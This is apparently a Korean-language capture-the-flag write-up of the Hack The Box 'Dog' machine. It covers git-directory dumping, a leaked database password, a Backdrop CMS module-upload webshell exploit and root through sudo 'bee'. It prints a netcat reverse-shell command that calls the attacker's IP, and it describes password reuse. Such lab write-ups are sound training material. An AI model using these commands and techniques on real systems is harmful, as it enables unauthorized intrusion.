Hack The Box - Dog

Hack the box [Season 7] dog machine

By Hong

이번에 처음으로 Hack the box의 시즌에 참가해보았다.

롤의 랭겜 처럼 획득한 플래그에 따라 랭크가 올라가는 시스템으로 꽤 재밌다.

중간부터 참가해서 점수 획득 가능한 머신이 별로 없긴 하지만 이번 시즌에 일단 브론즈는 됐기 때문에 만족한다. 다음 시즌부터는 실버 이상 달 수 있도록 노력해야지.

이번에 풀었던 Dog 머신의 write up을 적어본다.

nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
| http-git:
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

22번과 80번 포트가 열려있다.

nmap 결과에서도 이미 보이듯 웹사이트에 git이 포함되어 있다.

깃 로그나 파일들 히스토리에서 뭔가 읽을 수 있을지도 모르기 때문에 git을 덤프부터 한다.

git dump

wget에 -r 옵션으로도 덤프가 가능하지만 이번엔 사이즈가 커서 한세월이 걸릴 것 같아 중간에 포기했다.

깃 덤프를 전문으로 하는 툴이 있었기 때문에 툴을 사용해봤다.

git-dumper

확실히 툴을 사용하니 훨씬 빠르게 덤프가 됐다.

아웃풋 디렉토리에 파일이 만들어지는데 settings.php 파일이 있었고 그 안에서 크레덴셜을 하나 발견했다.

$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';

웹페이지에 로그인 해보려 했지만 root라는 유저는 없는듯 했다.

웹페이지에서 발견했던 이메일 형식을 보고 support@dog.htb 파일들 중에 비슷한 게 있나 찾아봤다.

grep -i @dog.htb -r .
./.git/logs/HEAD:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000       commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
./.git/logs/refs/heads/master:0000000000000000000000000000000000000000 8204779c764abd4c9d8d95038b6d22b6a7515afa root <dog@dog.htb> 1738963331 +0000  commit (initial): todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
./files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "tiffany@dog.htb"

tiffany라는 유저가 있었다.

티파니의 이메일과 아까 찾은 비밀번호를 사용해서 로그인에 성공했다.

login

파일들의 내용에서 backdrop의 버전이 1.27.1이 사용되고 있는 걸 알 수 있었고 관련 버전의 취약점도 찾을 수 있었다.

https://www.exploit-db.com/exploits/52021

웹 취약점

발견한 취약점의 소스코드를 보고 따라했다.

이번엔 수동으로 직접 조작하지 않으면 안되는 취약점이었다.

소스코드를 실행하면 shell.info와 shell.php 파일 두 개가 만들어지는데 이 파일들을 압축해서 업로드하면 웹쉘이 얻어진다고 한다.

하지만 그전에 이미 웹페이지에 설치되어 있는 다른 모듈들을 확인하면 알 수 있듯 shell.php가 아닌 shell.module로 이름을 바꿔준다.

exploit

압축 후 업로드를 하면 실패하는데 파일들이 아닌 shell 디렉토리를 압축하니까 해결됐다.

exploit2

하지만 아직 제대로 웹쉘이 얻어지지 않는데 권한을 수정해줘야 한다.

exploit3

여기까지 하면 드디어 웹쉘을 사용 할 수 있게 된다. (이게 easy 레벨이 맞나..?)

웹쉘

제대로 했다면 다음과 같이 웹쉘이 나타난다.

webshell

문제없이 작동한다.

리버스쉘 코드를 입력해서 연결한다.

busybox nc 10.10.16.28 443 -e /bin/bash

그러면 www-data로 쉘이 얻어지는데 아직 유저의 플래그를 볼 수는 없다.

Post exploit

일단 유저의 크레덴셜을 알아내야 한다.

home 디렉토리를 보니 유저가 다음 두 명이었다.

jobert  johncusack

처음에 발견했던 데이터베이스의 크레덴셜을 떠올리고 mysql에 접속해봤다.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| backdrop           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

backdrop에 있는 user테이블에서 해쉬 정보들을 확인 할 수 있었는데 hashcat에도 나오지 않는 해쉬를 사용하고 있었다.

아마 rabbit hole인듯 하다.

그 뒤로 2시간 정도 분투했으나 크레덴셜을 발견 할 수가 없었다.

플래그는 johncusack의 홈 디렉토리에 있기에 johncusack 유저로 변경하고 혹시나해서 데이터베이스의 비밀번호를 입력해봤더니..? johncusack로 접속하는데 성공했다!

비밀번호를 대체 몇번을 재사용하는거여.

root

johncusack의 크레덴셜을 알았기 때문에 ssh 접속도 가능해졌다.

sudo -l을 해보니 bee라는 툴을 사용할 수 있다고 한다.

sudo

처음보는 서비스였는데 help 페이지를 보고 php 파일을 루트 권한으로 실행할 수 있다는 걸 알았다.

php의 리버스쉘을 준비해놓고 bee를 이용해서 실행하기만 하면 될 터.

그런데 자꾸 에러가 난다.

error

뭐가 문제인지 몰라 검색을 해봐도 딱 맞아떨어지는 대답이 없었는데 중간에 유용한 정보를 발견했다.

bee status라는 명령어가 있다고 한다. help 페이지에서는 못 본 것 같은데.

bee status를 입력해보니 루트 디렉토리에서 bee를 실행하라고 한다.

여기서 말하는 루트 디렉토리는 backdrop이 설치되어 있는 디렉토리를 말한다.

그래서 /var/www/html로 이동 후 명령어를 실행했더니 문제없이 php 파일이 실행됐다!

rev

이번 머신은 초기에 웹쉘을 얻는 과정이 가장 어려웠던 것 같다.

그리고 찾아낸 비밀번호는 재사용 될 가능성이 있기에 무조건 한번씩 대입해봐야 한다는 교훈도 얻었다.

Share: X (Twitter) Facebook LinkedIn